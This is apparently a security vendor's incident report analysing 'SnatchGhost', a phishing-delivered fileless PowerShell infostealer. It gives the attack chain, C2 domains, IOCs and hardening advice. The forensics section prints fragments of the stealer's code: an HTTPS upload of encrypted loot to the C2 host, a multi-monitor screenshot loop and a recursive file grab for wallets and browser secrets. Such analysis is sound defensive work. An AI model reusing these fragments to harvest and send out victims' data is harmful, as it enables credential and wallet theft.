SnatchGhost: Analysis of a New Fileless PowerShell Infostealer Attack

Malware Details

Name: SnatchGhost

Description: Quietly snatches screenshots and sensitive files, then ghosts your system.

Category: Infostealer

Family:Fileless PowerShell Infostealer (a.k.a. “PowerShell Infostealer”)

Behaviour: Phishing‐driven Fileless PowerShellloader that runs entirely in memory to harvest wallets, browser credentials, and screenshots, then exfiltrates to C2Server.

Introduction

In early June 2025, our Invinsense EDR platform detected a novel, file less PowerShell info stealer campaign targeting a Southeast Asian Countries. Despite appearing as a benign “app testing” reward offer email, the attack leveraged a phishing link to trick the user into running an in‐memory PowerShell one‐liner command. When the attack was reverse engineered, it was found that as the command was executed, it fetched and decrypted a multi‐stage info stealer that exfiltrated sensitive artifacts—including cryptocurrency wallets, browser credentials, and desktop screenshots—entirely in memory.

Below, we present detailed technical findings of this incident, from detection through forensic analysis, for the benefit of security practitioners and incident responders.

Attack Pattern -Overview

On 3 June 2025, Invinsense EDR generated an alert for “Screen capture method invoked from PowerShell” on one the Singapore‐based devices. This alert triggered an immediate investigation, revealing that the end user had received a phishing email two days earlier from hello@sterra[.]sg, promising rewards for participating in an “app testing program.” Upon opening the email on 3 June at 11:25 AM, the user clicked a link hosted on sites.google.com that provided malicious Powershell commands. By copying and pasting those commands into their Powershell console, the user unknowingly initiated a multi‐stage, in‐memory infostealer.

The EDR’s detailed and script‐block logs captured each critical step: from DNS queries to malicious domains, to the creation of temporary PS1 fragments under %TEMP%, to recursive file enumeration and screenshot capture, and finally to the exfiltration of stolen data to a remote C2 server. Because no binaries were ever written to disk (save for ephemeral PS1 fragments), traditional antivirus products failed to flag the activity. Only the combination of Invinsense EDR’s script‐block monitoring and network‐connect logging provided the full visibility required to reconstruct and contain the attack.

Key Findings and Attack Chain

1. Phishing‐Driven In‐Memory Payload

• The deceptive email spreads from hello@sterra[.]sg, urging enduser to join an app testing program and promising rewards. It has a button – “Learn More” which takes to a site where malicious commands are hosted.

• The enduser opens the email, and clicks on URL of sites.google.com, and is further instructed to copy/paste a one‐liner PowerShell command into a console window.

2. Multi‐Stage Loader with DNS Feedback

• Once the command is executed, the initial PowerShell process (PID 12536 in this POC) drops a file named __PSScriptPolicyTest_ 4p4k4smx.2nq.ps1.dgt.ps1 into %TEMP%, confirming that the one‐liner is successfully fetching a stage-1 loader from sterr[.]app.

• Within seconds, PID 12536 performs DNS lookups to sterr[.]app (195[.]123[.]224[.]194), indicating repeated pulls of the stage-1 code.

• That stage-1 loader subsequently spawns a child PowerShell (PID 8340 in this POC), which fetches and decrypts a stage-2 payload from 8mrzhrdm0obptpp[.]com (89[.]169[.]15[.]2).

3. Fileless Deobfuscation and Data Collection

• PID 8340 drops around four obfuscated PS1 fragments (__PSScriptPolicyTest_*.ps1) into %TEMP%, executes around 158 ScriptBlock events to decode and concatenate them entirely in memory, then deletes the fragments to evade on-disk detection.

• The in-memory payload enumerates environment variables (%USERNAME%, %APPDATA%, %USERPROFILE%) and performs a recursive filesystem search for high-value files—including wallet.dat, Office documents, PDFs, and browser credential stores. All matches were copied to a hidden staging folder under %TEMP%.

• Concurrently, the payload captures one or more desktop screenshots via System.Drawing.Bitmap function of .Net, saving them as screenshot.jpg in the same staging location.

4. Exfiltration Over HTTPS

• Once staging is completed, PID 8340 spawns a child PowerShell process (PID 13904), which re-resolved 8mrzhrdm0obptpp[.]com before posting the collected artifacts (e.g., wallet.dat, screenshots, browser databases) to hxxps://8mrzhrdm0obptpp[.]com

• All obfuscated PS1 fragments and any temporary DLLs were deleted immediately after decryption, leaving no persistent artifacts on disk.

5. Successful Containment and Clean-up

• On detection of these events, the endpoint was promptly isolated by Invinsense EDR, the malicious domains were blocked, a quick EDR scan was initiated, and the user’s account password was reset.

Forensics Analysis & Script Dissection

Because the original PS1 fragments never persisted in a deobfuscated form on disk, our forensics team replicated the exact one-liner in a sandbox environment to obtain the stage-2 payload and reverse‐engineer the malicious script. Below is a high-level breakdown of how the final infostealer was constructed and what it exfiltrated:

1. We executed the command that was found from the phishing mail in a test sandbox device

2. It dropped a PS1 script in %Appdata%\local, and this script will only be dropped when the user agent string is of powershell.

3. We fetched the script again in our sandbox environment from the server when we executed the script, we observed the same chain of events again. 

Below is the high-level breakdown of the malicious script fetched through the instruction given in the original phishing, this indicates the C2 communication to the server:

Why this is the C2: immediately after assembling $HL4JLqZP1xI, the malware does

$dN12DbYth0vM = New-Object System.Net.WebClient     # created a few lines earlier :contentReference[oaicite:5]{index=5}

$dN12DbYth0vM.UploadString($HL4JLqZP1xI, $XAcee4pbEfSoomzt5BoK7zr)  # exfil POST :contentReference[oaicite:6]{index=6}

$XAcee4pbEfSoomzt5BoK7zr is the gzip-compressed, AES-encrypted blob built right before the call.

Because the code never alters $HL4JLqZP1xI again, every beacon/outbound POST goes to the same host (8mrzhrdm0obptpp[.]com) with those constant path segments.

What happens in the background

1. Beacon construction – machine and credential data are collected, compressed, encrypted and stored in $XAcee4pbEfSoomzt5BoK7zr.

2. HTTP POST – System.Net.WebClient.UploadString() sends that blob to
   hxxps[:]//8mrzhrdm0obptpp[.]com/process/hAUjZrJo

3. Proxy-aware – before the POST, the client sets
   WebClient.Proxy = [System.Net.WebRequest]::GetSystemWebProxy() so the traffic respects the victim’s proxy settings.

Indicators of Compromise (IOC)

No other outbound addresses are constructed anywhere else in the file, so this is the sole Command-and-Control endpoint used by the script.

Below is every artefact the script tries to collect and exfiltrate, grouped by datatype.

For each item, the actual unobfuscated filename or pattern and show the relevant source line(s) that prove the file is in the grab-list.

1. Browser secrets (databases & keys)

2. Browser session recovery files

3. Cryptocurrency wallets

4. OpenVPN credentials

5. System screenshots

The malware captures every monitor, saves the bitmap to an in-memory PNG and exfiltrates it.

Key instructions:

table

When de-obfuscated, we get something like:

foreach ($screen in [Windows.Forms.Screen]::AllScreens) {

    $bmp  = New-Object Drawing.Bitmap $screen.Bounds.Width,$screen.Bounds.Height

    $gfx  = [Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($screen.Bounds.Location,[Drawing.Point]::Empty,$bmp.Size)

    …encode & send…

}

‍

6. Windows Credential Manager items

Although not a file on disk, the script imports a custom CredHelper class and calls CredEnumerate/CredFree, base-64-encodes every credential blob and ships it out (inside the same network routine used for other loot). How the list is used:

1. The array $wAZETBb2UC is populated with the hard-coded names above.

2. For every discovered browser profile/output directory the malware runs
   Get-ChildItem -Include $wAZETBb2UC -Recurse -File and immediately streams each hit to its exfil function (rufjxRoX15JcNzIy / lveUaDUtFtyHX).

3. Large artefacts (screenshots, credential blobs) are first converted to byte arrays, then sent over the same C2 channel you isolated earlier.

Net result:

The attacker ends up with:

• Persisted browser secrets (passwords, cookies, form data, AES keys).

• Browsing session snapshots.

• Any Bitcoin-compatible wallet files it can find.

• Any other “.wallet” files.

• A screenshot of every monitor.

• Every Windows Credential-Manager entry.

• OpenVPN saved usernames/passwords.

That is the exfiltration payload defined by this Powershell stager.

Recommendations

1. Enhance Phishing Awareness & Simulations

• Conduct quarterly phishing simulations that mimic realistic “app testing” or “reward” lures.

• Train users explicitly never to copy/paste unknown PowerShell commands, even if they claim to come from legitimate services.

• Provide a “Report Phish” button in every corporate email client so suspicious messages can be escalated with one click.

2. Harden Endpoint PowerShell Controls

• Enforce PowerShell Constrained Language Mode via Group Policy for all non-administrative users.

• Implement AppLocker or Windows Defender Application Control (WDAC) to whitelist only signed, approved scripts.

• Block all unapproved PowerShell script execution by default; create exception rules for known internal automation.

3. Strengthen Email Security Filtering

• Integrate a URL reputation feed that flags newly registered or DGA-style domains (e.g., sterr[.]app, 8mrzhrdm0obptpp[.]com).

• Use an email gateway that rewrites and analyses links in real time, including those hosted on trusted platforms (e.g., sites.google.com).

• Enforce DMARC, DKIM, and SPF for inbound email; quarantine or reject any messages failing these checks.

4. Expand DNS & Network Protections

• Block DNS resolution for identified malicious domains (sterr[.]app, 8mrzhrdm0obptpp[.]com) at the corporate DNS resolver.

• Deploy a DNS sinkhole for suspicious or newly registered domains; generate an alert when internal hosts attempt to resolve them.

• Configure web proxies to block direct HTTPS traffic to unapproved domains; require multi-factor authentication for any proxy exceptions.

5. Audit & Enforce /EDR Logging

• Ensure EDR is configured to log Network Connect events for all processes, especially powershell.exe.

• Maintain ScriptBlock Logging (Event 4104) always enabled to capture in-memory deobfuscation.

• Monitor for file creation/deletion patterns under %TEMP% matching __PSScriptPolicyTest_*.ps1.

• Create real-time SIEM alerts for:

• ProcessCreate where command lines contain IEX (IWR or –EncodedCommand)

• FileCreate/FileDelete for PS1 fragments under %TEMP%.

• DNSQuery to newly discovered malicious domains.

6. Adopt Least-Privilege and Credential Protections

• Remove local administrator rights from standard user accounts.

• Enforce phishing-resistant MFA (e.g., hardware tokens) for all privileged and remote access accounts.

• Enable Credential Guard or LSA Protection to prevent in-memory extraction of Windows secrets.

7. Secure Cryptocurrency Wallets

• Require corporate wallets to be stored in hardware wallets or air-gapped machines rather than on standard endpoints.

• If a software wallet is used temporarily, guard wallet.dat under strict file-system ACLs and monitor for any access or copy attempts.

8. Establish a Rapid Incident Response Playbook

• Draft a one-page playbook for “Phishing-Driven Fileless Infostealer” incidents with step-by-step actions:

• Detect: Triaged by EDR alert for script-block screenshot capture or DNS queries to suspicious domains.

• Contain: Isolate the endpoint, block malicious domains at the network perimeter.

• Investigate: Collect memory dump, triage %TEMP%\staging folder, identify exfil attempt.

• Eradicate: Remediate the malware, reimage if necessary.

• Recover: Reset user credentials, rotate any potentially compromised keys.

• Lessons Learned: Update IOC feeds, refine email filters, conduct a post-mortem.

• Test the playbook at least twice per year via tabletop exercises and red-team campaigns.

Conclusion

This incident underscores the growing sophistication of fileless, in-memory attacks that leverage PowerShell as a primary delivery mechanism. By combining Invinsense EDR’s comprehensive logging with rapid containment procedures, our team was able to detect, analyze, Isolate the device for containtment and eradicate unseen, phishing-driven infostealer campaign before large-scale data loss could occur. We encourage all organizations to consider the recommendations outlined above—especially around email filtering, PowerShell hardening, and DNS sinkholing—to defend against similar attacks in the future.

Stay vigilant, empower your users, and ensure your EDR is configured to capture every stage of in-memory threat execution.

Contributors

Primarily : Raj Vira, Urvish & Raziq,

Aassisted by : Meet Dave, Nisarg, and Harshil